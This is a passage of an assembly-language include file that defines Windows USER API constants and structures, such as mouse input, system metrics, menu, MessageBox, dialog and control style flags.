MOUSEEVENTF_MOVE EQU 0001h; mouse move


MOUSEEVENTF_LEFTDOWN EQU 0002h; left button down
MOUSEEVENTF_LEFTUP EQU 0004h; left button up
MOUSEEVENTF_RIGHTDOWN EQU 0008h; right button down
MOUSEEVENTF_RIGHTUP EQU 0010h; right button up
MOUSEEVENTF_MIDDLEDOWN EQU 0020h; middle button down
MOUSEEVENTF_MIDDLEUP EQU 0040h; middle button up
MOUSEEVENTF_WHEEL EQU 0800h; wheel button rolled
MOUSEEVENTF_VIRTUALDESK EQU 4000h; map to entire virtual desktop
MOUSEEVENTF_ABSOLUTE EQU 8000h; absolute move

INPUT_MOUSE EQU 0
INPUT_KEYBOARD EQU 1
INPUT_HARDWARE EQU 2

MWMO_WAITALL EQU 0001h


MWMO_ALERTABLE EQU 0002h
MWMO_INPUTAVAILABLE EQU 0004h

; TBBUTTON

TBBUTTON struc
iBitmap UINT ?
idCommand UINT ?
fsState UCHAR ?
fsStyle UCHAR ?
bReserved db 2 dup(?)
dwData ULONG ?
iString UINT ?
TBBUTTON ends

; Queue status flags for GetQueueStatus() and MsgWaitForMultipleObjects()

QS_KEY EQU 0001h


QS_MOUSEMOVE EQU 0002h
QS_MOUSEBUTTON EQU 0004h
QS_POSTMESSAGE EQU 0008h
QS_TIMER EQU 0010h
QS_PAINT EQU 0020h
QS_SENDMESSAGE EQU 0040h
QS_HOTKEY EQU 0080h
QS_ALLPOSTMESSAGE EQU 0100h
QS_MOUSE EQU (QS_MOUSEMOVE OR \
QS_MOUSEBUTTON)

QS_INPUT EQU (QS_MOUSE OR \


QS_KEY)

QS_ALLEVENTS EQU (QS_INPUT OR \


QS_POSTMESSAGE OR \
QS_TIMER OR \
QS_PAINT OR \
QS_HOTKEY)

QS_ALLINPUT EQU (QS_INPUT OR \


QS_POSTMESSAGE OR \
QS_TIMER OR \
QS_PAINT OR \
QS_HOTKEY OR \
QS_SENDMESSAGE)

; GetSystemMetrics() codes

SM_CXSCREEN EQU 0
SM_CYSCREEN EQU 1
SM_CXVSCROLL EQU 2
SM_CYHSCROLL EQU 3
SM_CYCAPTION EQU 4
SM_CXBORDER EQU 5
SM_CYBORDER EQU 6
SM_CXDLGFRAME EQU 7
SM_CYDLGFRAME EQU 8
SM_CYVTHUMB EQU 9
SM_CXHTHUMB EQU 10
SM_CXICON EQU 11
SM_CYICON EQU 12
SM_CXCURSOR EQU 13
SM_CYCURSOR EQU 14
SM_CYMENU EQU 15
SM_CXFULLSCREEN EQU 16
SM_CYFULLSCREEN EQU 17
SM_CYKANJIWINDOW EQU 18
SM_MOUSEPRESENT EQU 19
SM_CYVSCROLL EQU 20
SM_CXHSCROLL EQU 21
SM_DEBUG EQU 22
SM_SWAPBUTTON EQU 23
SM_RESERVED1 EQU 24
SM_RESERVED2 EQU 25
SM_RESERVED3 EQU 26
SM_RESERVED4 EQU 27
SM_CXMIN EQU 28
SM_CYMIN EQU 29
SM_CXSIZE EQU 30
SM_CYSIZE EQU 31
SM_CXFRAME EQU 32
SM_CYFRAME EQU 33
SM_CXMINTRACK EQU 34
SM_CYMINTRACK EQU 35
SM_CXDOUBLECLK EQU 36
SM_CYDOUBLECLK EQU 37
SM_CXICONSPACING EQU 38
SM_CYICONSPACING EQU 39
SM_MENUDROPALIGNMENT EQU 40
SM_PENWINDOWS EQU 41
SM_DBCSENABLED EQU 42
SM_CMOUSEBUTTONS EQU 43
SM_CXFIXEDFRAME EQU SM_CXDLGFRAME ;win40 name change
SM_CYFIXEDFRAME EQU SM_CYDLGFRAME ;win40 name change
SM_CXSIZEFRAME EQU SM_CXFRAME ;win40 name change
SM_CYSIZEFRAME EQU SM_CYFRAME ;win40 name change
SM_SECURE EQU 44
SM_CXEDGE EQU 45
SM_CYEDGE EQU 46
SM_CXMINSPACING EQU 47
SM_CYMINSPACING EQU 48
SM_CXSMICON EQU 49
SM_CYSMICON EQU 50
SM_CYSMCAPTION EQU 51
SM_CXSMSIZE EQU 52
SM_CYSMSIZE EQU 53
SM_CXMENUSIZE EQU 54
SM_CYMENUSIZE EQU 55
SM_ARRANGE EQU 56
SM_CXMINIMIZED EQU 57
SM_CYMINIMIZED EQU 58
SM_CXMAXTRACK EQU 59
SM_CYMAXTRACK EQU 60
SM_CXMAXIMIZED EQU 61
SM_CYMAXIMIZED EQU 62
SM_NETWORK EQU 63
SM_CLEANBOOT EQU 67
SM_CXDRAG EQU 68
SM_CYDRAG EQU 69
SM_SHOWSOUNDS EQU 70
SM_CXMENUCHECK EQU 71 ; Use instead of GetMenuCheckMarkDimensions()!
SM_CYMENUCHECK EQU 72
SM_SLOWMACHINE EQU 73
SM_MIDEASTENABLED EQU 74
SM_MOUSEWHEELPRESENT EQU 75
SM_XVIRTUALSCREEN EQU 76
SM_YVIRTUALSCREEN EQU 77
SM_CXVIRTUALSCREEN EQU 78
SM_CYVIRTUALSCREEN EQU 79
SM_CMONITORS EQU 80
SM_SAMEDISPLAYFORMAT EQU 81
SM_CMETRICS EQU 76
SM_REMOTESESSION EQU 1000

; return codes for WM_MENUCHAR

MNC_IGNORE EQU 0
MNC_CLOSE EQU 1
MNC_EXECUTE EQU 2
MNC_SELECT EQU 3

MNS_NOCHECK EQU 80000000h


MNS_MODELESS EQU 40000000h
MNS_DRAGDROP EQU 20000000h
MNS_AUTODISMISS EQU 10000000h
MNS_NOTIFYBYPOS EQU 08000000h
MNS_CHECKORBMP EQU 04000000h

MIM_MAXHEIGHT EQU 00000001h


MIM_BACKGROUND EQU 00000002h
MIM_HELPID EQU 00000004h
MIM_MENUDATA EQU 00000008h
MIM_STYLE EQU 00000010h
MIM_APPLYTOSUBMENUS EQU 80000000h

; WM_MENUDRAG return values.

MND_CONTINUE EQU 0
MND_ENDMENU EQU 1

; WM_MENUGETOBJECT return values

MNGO_NOINTERFACE EQU 00000000h


MNGO_NOERROR EQU 00000001h

MIIM_STATE EQU 00000001h


MIIM_ID EQU 00000002h
MIIM_SUBMENU EQU 00000004h
MIIM_CHECKMARKS EQU 00000008h
MIIM_TYPE EQU 00000010h
MIIM_DATA EQU 00000020h
MIIM_STRING EQU 00000040h
MIIM_BITMAP EQU 00000080h
MIIM_FTYPE EQU 00000100h

HBMMENU_CALLBACK EQU -1
HBMMENU_SYSTEM EQU 1
HBMMENU_MBAR_RESTORE EQU 2
HBMMENU_MBAR_MINIMIZE EQU 3
HBMMENU_MBAR_CLOSE EQU 5
HBMMENU_MBAR_CLOSE_D EQU 6
HBMMENU_MBAR_MINIMIZE_D EQU 7
HBMMENU_POPUP_CLOSE EQU 8
HBMMENU_POPUP_RESTORE EQU 9
HBMMENU_POPUP_MAXIMIZE EQU 10
HBMMENU_POPUP_MINIMIZE EQU 11

GMDI_USEDISABLED EQU 0001h


GMDI_GOINTOPOPUPS EQU 0002h

; Flags for TrackPopupMenu

TPM_LEFTBUTTON EQU 0000h


TPM_RIGHTBUTTON EQU 0002h
TPM_LEFTALIGN EQU 0000h
TPM_CENTERALIGN EQU 0004h
TPM_RIGHTALIGN EQU 0008h
TPM_TOPALIGN EQU 0000h
TPM_VCENTERALIGN EQU 0010h
TPM_BOTTOMALIGN EQU 0020h
TPM_HORIZONTAL EQU 0000h; Horz alignment matters more
TPM_VERTICAL EQU 0040h; Vert alignment matters more
TPM_NONOTIFY EQU 0080h; Don't send any notification msgs
TPM_RETURNCMD EQU 0100h
TPM_RECURSE EQU 0001h
TPM_HORPOSANIMATION EQU 0400h
TPM_HORNEGANIMATION EQU 0800h
TPM_VERPOSANIMATION EQU 1000h
TPM_VERNEGANIMATION EQU 2000h
TPM_NOANIMATION EQU 4000h

; DrawText() Format Flags

DT_TOP EQU 00000000h


DT_LEFT EQU 00000000h
DT_CENTER EQU 00000001h
DT_RIGHT EQU 00000002h
DT_VCENTER EQU 00000004h
DT_BOTTOM EQU 00000008h
DT_WORDBREAK EQU 00000010h
DT_SINGLELINE EQU 00000020h
DT_EXPANDTABS EQU 00000040h
DT_TABSTOP EQU 00000080h
DT_NOCLIP EQU 00000100h
DT_EXTERNALLEADING EQU 00000200h
DT_CALCRECT EQU 00000400h
DT_NOPREFIX EQU 00000800h
DT_INTERNAL EQU 00001000h
DT_EDITCONTROL EQU 00002000h
DT_PATH_ELLIPSIS EQU 00004000h
DT_END_ELLIPSIS EQU 00008000h
DT_MODIFYSTRING EQU 00010000h
DT_RTLREADING EQU 00020000h
DT_WORD_ELLIPSIS EQU 00040000h
DT_NOFULLWIDTHCHARBREAK EQU 00080000h
DT_HIDEPREFIX EQU 00100000h
DT_PREFIXONLY EQU 00200000h

; Monolithic state-drawing routine


; Image type
DST_COMPLEX EQU 0000h
DST_TEXT EQU 0001h
DST_PREFIXTEXT EQU 0002h
DST_ICON EQU 0003h
DST_BITMAP EQU 0004h

; State type

DSS_NORMAL EQU 0000h


DSS_UNION EQU 0010h; Gray string appearance
DSS_DISABLED EQU 0020h
DSS_MONO EQU 0080h
DSS_HIDEPREFIX EQU 0200h
DSS_PREFIXONLY EQU 0400h
DSS_RIGHT EQU 8000h

; GetDCEx() flags

DCX_WINDOW EQU 00000001h


DCX_CACHE EQU 00000002h
DCX_NORESETATTRS EQU 00000004h
DCX_CLIPCHILDREN EQU 00000008h
DCX_CLIPSIBLINGS EQU 00000010h
DCX_PARENTCLIP EQU 00000020h
DCX_EXCLUDERGN EQU 00000040h
DCX_INTERSECTRGN EQU 00000080h
DCX_EXCLUDEUPDATE EQU 00000100h
DCX_INTERSECTUPDATE EQU 00000200h
DCX_LOCKWINDOWUPDATE EQU 00000400h
DCX_VALIDATE EQU 00200000h

; RedrawWindow() flags

RDW_INVALIDATE EQU 0001h


RDW_INTERNALPAINT EQU 0002h
RDW_ERASE EQU 0004h
RDW_VALIDATE EQU 0008h
RDW_NOINTERNALPAINT EQU 0010h
RDW_NOERASE EQU 0020h
RDW_NOCHILDREN EQU 0040h
RDW_ALLCHILDREN EQU 0080h
RDW_UPDATENOW EQU 0100h
RDW_ERASENOW EQU 0200h
RDW_FRAME EQU 0400h
RDW_NOFRAME EQU 0800h

; EnableScrollBar() flags

ESB_ENABLE_BOTH EQU 0000h


ESB_DISABLE_BOTH EQU 0003h
ESB_DISABLE_LEFT EQU 0001h
ESB_DISABLE_RIGHT EQU 0002h
ESB_DISABLE_UP EQU 0001h
ESB_DISABLE_DOWN EQU 0002h
ESB_DISABLE_LTUP EQU ESB_DISABLE_LEFT
ESB_DISABLE_RTDN EQU ESB_DISABLE_RIGHT

; MessageBox() Flags

MB_OK EQU 00000000h


MB_OKCANCEL EQU 00000001h
MB_ABORTRETRYIGNORE EQU 00000002h
MB_YESNOCANCEL EQU 00000003h
MB_YESNO EQU 00000004h
MB_RETRYCANCEL EQU 00000005h
MB_ICONHAND EQU 00000010h
MB_ICONQUESTION EQU 00000020h
MB_ICONEXCLAMATION EQU 00000030h
MB_ICONASTERISK EQU 00000040h
MB_USERICON EQU 00000080h
MB_ICONWARNING EQU MB_ICONEXCLAMATION
MB_ICONERROR EQU MB_ICONHAND
MB_ICONINFORMATION EQU MB_ICONASTERISK
MB_ICONSTOP EQU MB_ICONHAND
MB_DEFBUTTON1 EQU 00000000h
MB_DEFBUTTON2 EQU 00000100h
MB_DEFBUTTON3 EQU 00000200h
MB_DEFBUTTON4 EQU 00000300h
MB_APPLMODAL EQU 00000000h
MB_SYSTEMMODAL EQU 00001000h
MB_TASKMODAL EQU 00002000h
MB_HELP EQU 00004000h
MB_NOFOCUS EQU 00008000h
MB_SETFOREGROUND EQU 00010000h
MB_DEFAULT_DESKTOP_ONLY EQU 00020000h
MB_TOPMOST EQU 00040000h
MB_RIGHT EQU 00080000h
MB_RTLREADING EQU 00100000h
MB_TYPEMASK EQU 0000000Fh
MB_ICONMASK EQU 000000F0h
MB_DEFMASK EQU 00000F00h
MB_MODEMASK EQU 00003000h
MB_MISCMASK EQU 0000C000h

CWP_ALL EQU 0000h


CWP_SKIPINVISIBLE EQU 0001h
CWP_SKIPDISABLED EQU 0002h
CWP_SKIPTRANSPARENT EQU 0004h

; Shell definitions

NIM_ADD EQU 00000000h


NIM_MODIFY EQU 00000001h
NIM_DELETE EQU 00000002h
NIM_SETFOCUS EQU 00000003h

NIF_MESSAGE EQU 00000001h


NIF_ICON EQU 00000002h
NIF_TIP EQU 00000004h
NIF_STATE EQU 00000008h

NIS_HIDDEN EQU 00000001h


NIS_SHAREDICON EQU 00000002h

NOTIFYICONDATA STRUC
cbSize DD SIZE NOTIFYICONDATA
hWnd DD 0
uID DD 0
uNIFlags DD 0
uCallbackMessage DD 0
hIcon DD 0
szTip DB 64 DUP(0)
NOTIFYICONDATA ENDS
; Color Types

CTLCOLOR_MSGBOX EQU 0
CTLCOLOR_EDIT EQU 1
CTLCOLOR_LISTBOX EQU 2
CTLCOLOR_BTN EQU 3
CTLCOLOR_DLG EQU 4
CTLCOLOR_SCROLLBAR EQU 5
CTLCOLOR_STATIC EQU 6
CTLCOLOR_MAX EQU 7
COLOR_SCROLLBAR EQU 0
COLOR_BACKGROUND EQU 1
COLOR_ACTIVECAPTION EQU 2
COLOR_INACTIVECAPTION EQU 3
COLOR_MENU EQU 4
COLOR_WINDOW EQU 5
COLOR_WINDOWFRAME EQU 6
COLOR_MENUTEXT EQU 7
COLOR_WINDOWTEXT EQU 8
COLOR_CAPTIONTEXT EQU 9
COLOR_ACTIVEBORDER EQU 10
COLOR_INACTIVEBORDER EQU 11
COLOR_APPWORKSPACE EQU 12
COLOR_HIGHLIGHT EQU 13
COLOR_HIGHLIGHTTEXT EQU 14
COLOR_BTNFACE EQU 15
COLOR_BTNSHADOW EQU 16
COLOR_GRAYTEXT EQU 17
COLOR_BTNTEXT EQU 18
COLOR_INACTIVECAPTIONTEXT EQU 19
COLOR_BTNHIGHLIGHT EQU 20
COLOR_3DDKSHADOW EQU 21
COLOR_3DLIGHT EQU 22
COLOR_INFOTEXT EQU 23
COLOR_INFOBK EQU 24
COLOR_HOTLIGHT EQU 26
COLOR_GRADIENTACTIVECAPTION EQU 27
COLOR_GRADIENTINACTIVECAPTION EQU 28
COLOR_DESKTOP EQU COLOR_BACKGROUND
COLOR_3DFACE EQU COLOR_BTNFACE
COLOR_3DSHADOW EQU COLOR_BTNSHADOW
COLOR_3DHIGHLIGHT EQU COLOR_BTNHIGHLIGHT
COLOR_3DHILIGHT EQU COLOR_BTNHIGHLIGHT
COLOR_BTNHILIGHT EQU COLOR_BTNHIGHLIGHT

; GetWindow() Constants

GW_HWNDFIRST EQU 0
GW_HWNDLAST EQU 1
GW_HWNDNEXT EQU 2
GW_HWNDPREV EQU 3
GW_OWNER EQU 4
GW_CHILD EQU 5
GW_MAX EQU 5
GW_ENABLEDPOPUP EQU 6

; Menu flags for Add/Check/EnableMenuItem()

MF_INSERT EQU 00000000h


MF_CHANGE EQU 00000080h
MF_APPEND EQU 00000100h
MF_DELETE EQU 00000200h
MF_REMOVE EQU 00001000h
MF_BYCOMMAND EQU 00000000h
MF_BYPOSITION EQU 00000400h
MF_SEPARATOR EQU 00000800h
MF_ENABLED EQU 00000000h
MF_GRAYED EQU 00000001h
MF_DISABLED EQU 00000002h
MF_UNCHECKED EQU 00000000h
MF_CHECKED EQU 00000008h
MF_USECHECKBITMAPS EQU 00000200h
MF_STRING EQU 00000000h
MF_BITMAP EQU 00000004h
MF_OWNERDRAW EQU 00000100h
MF_POPUP EQU 00000010h
MF_MENUBARBREAK EQU 00000020h
MF_MENUBREAK EQU 00000040h
MF_UNHILITE EQU 00000000h
MF_HILITE EQU 00000080h
MF_DEFAULT EQU 00001000h
MF_SYSMENU EQU 00002000h
MF_HELP EQU 00004000h
MF_RIGHTJUSTIFY EQU 00004000h
MF_MOUSESELECT EQU 00008000h

MFT_STRING EQU MF_STRING


MFT_BITMAP EQU MF_BITMAP
MFT_MENUBARBREAK EQU MF_MENUBARBREAK
MFT_MENUBREAK EQU MF_MENUBREAK
MFT_OWNERDRAW EQU MF_OWNERDRAW
MFT_RADIOCHECK EQU 00000200h
MFT_SEPARATOR EQU MF_SEPARATOR
MFT_RIGHTORDER EQU 00002000h
MFT_RIGHTJUSTIFY EQU MF_RIGHTJUSTIFY

; Menu flags for Add/Check/EnableMenuItem()

MFS_GRAYED EQU 00000003h


MFS_DISABLED EQU MFS_GRAYED
MFS_CHECKED EQU MF_CHECKED
MFS_HILITE EQU MF_HILITE
MFS_ENABLED EQU MF_ENABLED
MFS_UNCHECKED EQU MF_UNCHECKED
MFS_UNHILITE EQU MF_UNHILITE
MFS_DEFAULT EQU MF_DEFAULT

; System Menu Command Values

SC_SIZE EQU 0F000h


SC_MOVE EQU 0F010h
SC_MINIMIZE EQU 0F020h
SC_MAXIMIZE EQU 0F030h
SC_NEXTWINDOW EQU 0F040h
SC_PREVWINDOW EQU 0F050h
SC_CLOSE EQU 0F060h
SC_VSCROLL EQU 0F070h
SC_HSCROLL EQU 0F080h
SC_MOUSEMENU EQU 0F090h
SC_KEYMENU EQU 0F100h
SC_ARRANGE EQU 0F110h
SC_RESTORE EQU 0F120h
SC_TASKLIST EQU 0F130h
SC_SCREENSAVE EQU 0F140h
SC_HOTKEY EQU 0F150h
SC_DEFAULT EQU 0F160h
SC_MONITORPOWER EQU 0F170h
SC_CONTEXTHELP EQU 0F180h
SC_SEPARATOR EQU 0F00Fh
SC_ICON EQU SC_MINIMIZE
SC_ZOOM EQU SC_MAXIMIZE

; Standard Cursor IDs

IDC_ARROW EQU 32512


IDC_IBEAM EQU 32513
IDC_WAIT EQU 32514
IDC_CROSS EQU 32515
IDC_UPARROW EQU 32516
IDC_SIZE EQU 32640 ; OBSOLETE: use IDC_SIZEALL
IDC_ICON EQU 32641 ; OBSOLETE: use IDC_ARROW
IDC_SIZENWSE EQU 32642
IDC_SIZENESW EQU 32643
IDC_SIZEWE EQU 32644
IDC_SIZENS EQU 32645
IDC_SIZEALL EQU 32646
IDC_NO EQU 32648 ; not in win3.1
IDC_HAND EQU 32649
IDC_APPSTARTING EQU 32650 ; not in win3.1
IDC_HELP EQU 32651

IMAGE_BITMAP EQU 0
IMAGE_ICON EQU 1
IMAGE_CURSOR EQU 2
IMAGE_ENHMETAFILE EQU 3

LR_DEFAULTCOLOR EQU 0000h


LR_MONOCHROME EQU 0001h
LR_COLOR EQU 0002h
LR_COPYRETURNORG EQU 0004h
LR_COPYDELETEORG EQU 0008h
LR_LOADFROMFILE EQU 0010h
LR_LOADTRANSPARENT EQU 0020h
LR_DEFAULTSIZE EQU 0040h
LR_VGACOLOR EQU 0080h
LR_LOADMAP3DCOLORS EQU 1000h
LR_CREATEDIBSECTION EQU 2000h
LR_COPYFROMRESOURCE EQU 4000h
LR_SHARED EQU 8000h

; OEM Resource Ordinal Numbers

OBM_CLOSE EQU 32754


OBM_UPARROW EQU 32753
OBM_DNARROW EQU 32752
OBM_RGARROW EQU 32751
OBM_LFARROW EQU 32750
OBM_REDUCE EQU 32749
OBM_ZOOM EQU 32748
OBM_RESTORE EQU 32747
OBM_REDUCED EQU 32746
OBM_ZOOMD EQU 32745
OBM_RESTORED EQU 32744
OBM_UPARROWD EQU 32743
OBM_DNARROWD EQU 32742
OBM_RGARROWD EQU 32741
OBM_LFARROWD EQU 32740
OBM_MNARROW EQU 32739
OBM_COMBO EQU 32738
OBM_UPARROWI EQU 32737
OBM_DNARROWI EQU 32736
OBM_RGARROWI EQU 32735
OBM_LFARROWI EQU 32734
OBM_OLD_CLOSE EQU 32767
OBM_SIZE EQU 32766
OBM_OLD_UPARROW EQU 32765
OBM_OLD_DNARROW EQU 32764
OBM_OLD_RGARROW EQU 32763
OBM_OLD_LFARROW EQU 32762
OBM_BTSIZE EQU 32761
OBM_CHECK EQU 32760
OBM_CHECKBOXES EQU 32759
OBM_BTNCORNERS EQU 32758
OBM_OLD_REDUCE EQU 32757
OBM_OLD_ZOOM EQU 32756
OBM_OLD_RESTORE EQU 32755

OCR_NORMAL EQU 32512


OCR_IBEAM EQU 32513
OCR_WAIT EQU 32514
OCR_CROSS EQU 32515
OCR_UP EQU 32516
OCR_SIZE EQU 32640 ; OBSOLETE: use OCR_SIZEALL
OCR_ICON EQU 32641 ; OBSOLETE: use OCR_NORMAL
OCR_SIZENWSE EQU 32642
OCR_SIZENESW EQU 32643
OCR_SIZEWE EQU 32644
OCR_SIZENS EQU 32645
OCR_SIZEALL EQU 32646
OCR_ICOCUR EQU 32647 ; OBSOLETE: use OIC_WINLOGO
OCR_NO EQU 32648
OCR_HAND EQU 32649
OCR_APPSTARTING EQU 32650
OIC_SAMPLE EQU 32512
OIC_HAND EQU 32513
OIC_QUES EQU 32514
OIC_BANG EQU 32515
OIC_NOTE EQU 32516
OIC_WINLOGO EQU 32517
OIC_WARNING EQU OIC_BANG
OIC_ERROR EQU OIC_HAND
OIC_INFORMATION EQU OIC_NOTE

ORD_LANGDRIVER EQU 1 ; The ordinal number for the entry point of

; Standard Icon IDs

IDI_APPLICATION EQU 32512


IDI_HAND EQU 32513
IDI_QUESTION EQU 32514
IDI_EXCLAMATION EQU 32515
IDI_ASTERISK EQU 32516
IDI_WINLOGO EQU 32517
IDI_WARNING EQU IDI_EXCLAMATION
IDI_ERROR EQU IDI_HAND
IDI_INFORMATION EQU IDI_ASTERISK

; Dialog Box Command IDs

IDOK EQU 1
IDCANCEL EQU 2
IDABORT EQU 3
IDRETRY EQU 4
IDIGNORE EQU 5
IDYES EQU 6
IDNO EQU 7
IDCLOSE EQU 8
IDHELP EQU 9

; Edit Control Styles

ES_LEFT EQU 0000h


ES_CENTER EQU 0001h
ES_RIGHT EQU 0002h
ES_MULTILINE EQU 0004h
ES_UPPERCASE EQU 0008h
ES_LOWERCASE EQU 0010h
ES_PASSWORD EQU 0020h
ES_AUTOVSCROLL EQU 0040h
ES_AUTOHSCROLL EQU 0080h
ES_NOHIDESEL EQU 0100h
ES_OEMCONVERT EQU 0400h
ES_READONLY EQU 0800h
ES_WANTRETURN EQU 1000h
ES_NUMBER EQU 2000h

; Edit Control Notification Codes

EN_SETFOCUS EQU 0100h


EN_KILLFOCUS EQU 0200h
EN_CHANGE EQU 0300h
EN_UPDATE EQU 0400h
EN_ERRSPACE EQU 0500h
EN_MAXTEXT EQU 0501h
EN_HSCROLL EQU 0601h
EN_VSCROLL EQU 0602h
EN_ALIGN_LTR_EC EQU 0700h
EN_ALIGN_RTL_EC EQU 0701h
EC_LEFTMARGIN EQU 0001h
EC_RIGHTMARGIN EQU 0002h
EC_USEFONTINFO EQU 0ffffh

; Edit Control Messages

EM_GETSEL EQU 00B0h


EM_SETSEL EQU 00B1h
EM_GETRECT EQU 00B2h
EM_SETRECT EQU 00B3h
EM_SETRECTNP EQU 00B4h
EM_SCROLL EQU 00B5h
EM_LINESCROLL EQU 00B6h
EM_SCROLLCARET EQU 00B7h
EM_GETMODIFY EQU 00B8h
EM_SETMODIFY EQU 00B9h
EM_GETLINECOUNT EQU 00BAh
EM_LINEINDEX EQU 00BBh
EM_SETHANDLE EQU 00BCh
EM_GETHANDLE EQU 00BDh
EM_GETTHUMB EQU 00BEh
EM_LINELENGTH EQU 00C1h
EM_REPLACESEL EQU 00C2h
EM_GETLINE EQU 00C4h
EM_LIMITTEXT EQU 00C5h
EM_CANUNDO EQU 00C6h
EM_UNDO EQU 00C7h
EM_FMTLINES EQU 00C8h
EM_LINEFROMCHAR EQU 00C9h
EM_SETTABSTOPS EQU 00CBh
EM_SETPASSWORDCHAR EQU 00CCh
EM_EMPTYUNDOBUFFER EQU 00CDh
EM_GETFIRSTVISIBLELINE EQU 00CEh
EM_SETREADONLY EQU 00CFh
EM_SETWORDBREAKPROC EQU 00D0h
EM_GETWORDBREAKPROC EQU 00D1h
EM_GETPASSWORDCHAR EQU 00D2h
EM_SETMARGINS EQU 00D3h
EM_GETMARGINS EQU 00D4h
EM_SETLIMITTEXT EQU EM_LIMITTEXT ;win40 Name change
EM_GETLIMITTEXT EQU 00D5h
EM_POSFROMCHAR EQU 00D6h
EM_CHARFROMPOS EQU 00D7h

; EDITWORDBREAKPROC code values

WB_LEFT EQU 0
WB_RIGHT EQU 1
WB_ISDELIMITER EQU 2

; Button Control Styles

BS_PUSHBUTTON EQU 00000000h


BS_DEFPUSHBUTTON EQU 00000001h
BS_CHECKBOX EQU 00000002h
BS_AUTOCHECKBOX EQU 00000003h
BS_RADIOBUTTON EQU 00000004h
BS_3STATE EQU 00000005h
BS_AUTO3STATE EQU 00000006h
BS_GROUPBOX EQU 00000007h
BS_USERBUTTON EQU 00000008h
BS_AUTORADIOBUTTON EQU 00000009h
BS_OWNERDRAW EQU 0000000Bh
BS_LEFTTEXT EQU 00000020h
BS_TEXT EQU 00000000h
BS_ICON EQU 00000040h
BS_BITMAP EQU 00000080h
BS_LEFT EQU 00000100h
BS_RIGHT EQU 00000200h
BS_CENTER EQU 00000300h
BS_TOP EQU 00000400h
BS_BOTTOM EQU 00000800h
BS_VCENTER EQU 00000C00h
BS_PUSHLIKE EQU 00001000h
BS_MULTILINE EQU 00002000h
BS_NOTIFY EQU 00004000h
BS_FLAT EQU 00008000h
BS_RIGHTBUTTON EQU BS_LEFTTEXT

; User Button Notification Codes

BN_CLICKED EQU 0
BN_PAINT EQU 1
BN_HILITE EQU 2
BN_UNHILITE EQU 3
BN_DISABLE EQU 4
BN_DOUBLECLICKED EQU 5
BN_PUSHED EQU BN_HILITE
BN_UNPUSHED EQU BN_UNHILITE
BN_DBLCLK EQU BN_DOUBLECLICKED
BN_SETFOCUS EQU 6
BN_KILLFOCUS EQU 7

; Button Control Messages

BM_GETCHECK EQU 00F0h


BM_SETCHECK EQU 00F1h
BM_GETSTATE EQU 00F2h
BM_SETSTATE EQU 00F3h
BM_SETSTYLE EQU 00F4h
BM_CLICK EQU 00F5h
BM_GETIMAGE EQU 00F6h
BM_SETIMAGE EQU 00F7h
BST_UNCHECKED EQU 0000h
BST_CHECKED EQU 0001h
BST_INDETERMINATE EQU 0002h
BST_PUSHED EQU 0004h
BST_FOCUS EQU 0008h

; Static Control Constants

SS_LEFT EQU 00000000h


SS_CENTER EQU 00000001h
SS_RIGHT EQU 00000002h
SS_ICON EQU 00000003h
SS_BLACKRECT EQU 00000004h
SS_GRAYRECT EQU 00000005h
SS_WHITERECT EQU 00000006h
SS_BLACKFRAME EQU 00000007h
SS_GRAYFRAME EQU 00000008h
SS_WHITEFRAME EQU 00000009h
SS_USERITEM EQU 0000000Ah
SS_SIMPLE EQU 0000000Bh
SS_LEFTNOWORDWRAP EQU 0000000Ch
SS_OWNERDRAW EQU 0000000Dh
SS_BITMAP EQU 0000000Eh
SS_ENHMETAFILE EQU 0000000Fh
SS_ETCHEDHORZ EQU 00000010h
SS_ETCHEDVERT EQU 00000011h
SS_ETCHEDFRAME EQU 00000012h
SS_TYPEMASK EQU 0000001Fh
SS_NOPREFIX EQU 00000080h ; Don't do "&" character translation
SS_NOTIFY EQU 00000100h
SS_CENTERIMAGE EQU 00000200h
SS_RIGHTJUST EQU 00000400h
SS_REALSIZEIMAGE EQU 00000800h
SS_SUNKEN EQU 00001000h
SS_ENDELLIPSIS EQU 00004000h
SS_PATHELLIPSIS EQU 00008000h
SS_WORDELLIPSIS EQU 0000C000h
SS_ELLIPSISMASK EQU 0000C000h

; Static Control Mesages

STM_SETICON EQU 0170h


STM_GETICON EQU 0171h
STM_SETIMAGE EQU 0172h
STM_GETIMAGE EQU 0173h
STN_CLICKED EQU 0
STN_DBLCLK EQU 1
STN_ENABLE EQU 2
STN_DISABLE EQU 3
STM_MSGMAX EQU 0174h
; DlgDirList, DlgDirListComboBox flags values

DDL_READWRITE EQU 0000h


DDL_READONLY EQU 0001h
DDL_HIDDEN EQU 0002h
DDL_SYSTEM EQU 0004h
DDL_DIRECTORY EQU 0010h
DDL_ARCHIVE EQU 0020h
DDL_POSTMSGS EQU 2000h
DDL_DRIVES EQU 4000h
DDL_EXCLUSIVE EQU 8000h

; Dialog Styles

DS_ABSALIGN EQU 01h


DS_SYSMODAL EQU 02h
DS_LOCALEDIT EQU 20h ;Edit items get Local storage.
DS_SETFONT EQU 40h ;User specified font for Dlg controls
DS_MODALFRAME EQU 80h ;Can be combined with WS_CAPTION
DS_NOIDLEMSG EQU 100h ;WM_ENTERIDLE message will not be sent
DS_SETFOREGROUND EQU 200h ;not in win3.1
DS_3DLOOK EQU 0004h
DS_FIXEDSYS EQU 0008h
DS_NOFAILCREATE EQU 0010h
DS_CONTROL EQU 0400h
DS_CENTER EQU 0800h
DS_CENTERMOUSE EQU 1000h
DS_CONTEXTHELP EQU 2000h

DM_GETDEFID EQU WM_USER+0


DM_SETDEFID EQU WM_USER+1
DM_REPOSITION EQU WM_USER+2

DC_HASDEFID EQU 534Bh

; Dialog Codes

DLGC_WANTARROWS EQU 0001h ; Control wants arrow keys


DLGC_WANTTAB EQU 0002h ; Control wants tab keys
DLGC_WANTALLKEYS EQU 0004h ; Control wants all keys
DLGC_WANTMESSAGE EQU 0004h ; Pass message to control
DLGC_HASSETSEL EQU 0008h ; Understands EM_SETSEL message
DLGC_DEFPUSHBUTTON EQU 0010h ; Default pushbutton
DLGC_UNDEFPUSHBUTTON EQU 0020h ; Non-default pushbutton
DLGC_RADIOBUTTON EQU 0040h ; Radio button
DLGC_WANTCHARS EQU 0080h ; Want WM_CHAR messages
DLGC_STATIC EQU 0100h ; Static item: don't include
DLGC_BUTTON EQU 2000h ; Button item: can be checked

; Listbox Return Values

LB_OKAY EQU 0
LB_ERR EQU -1
LB_ERRSPACE EQU -2

; Listbox Notification Codes

LBN_ERRSPACE EQU -2
LBN_SELCHANGE EQU 1
LBN_DBLCLK EQU 2
LBN_SELCANCEL EQU 3
LBN_SETFOCUS EQU 4
LBN_KILLFOCUS EQU 5

; Listbox messages

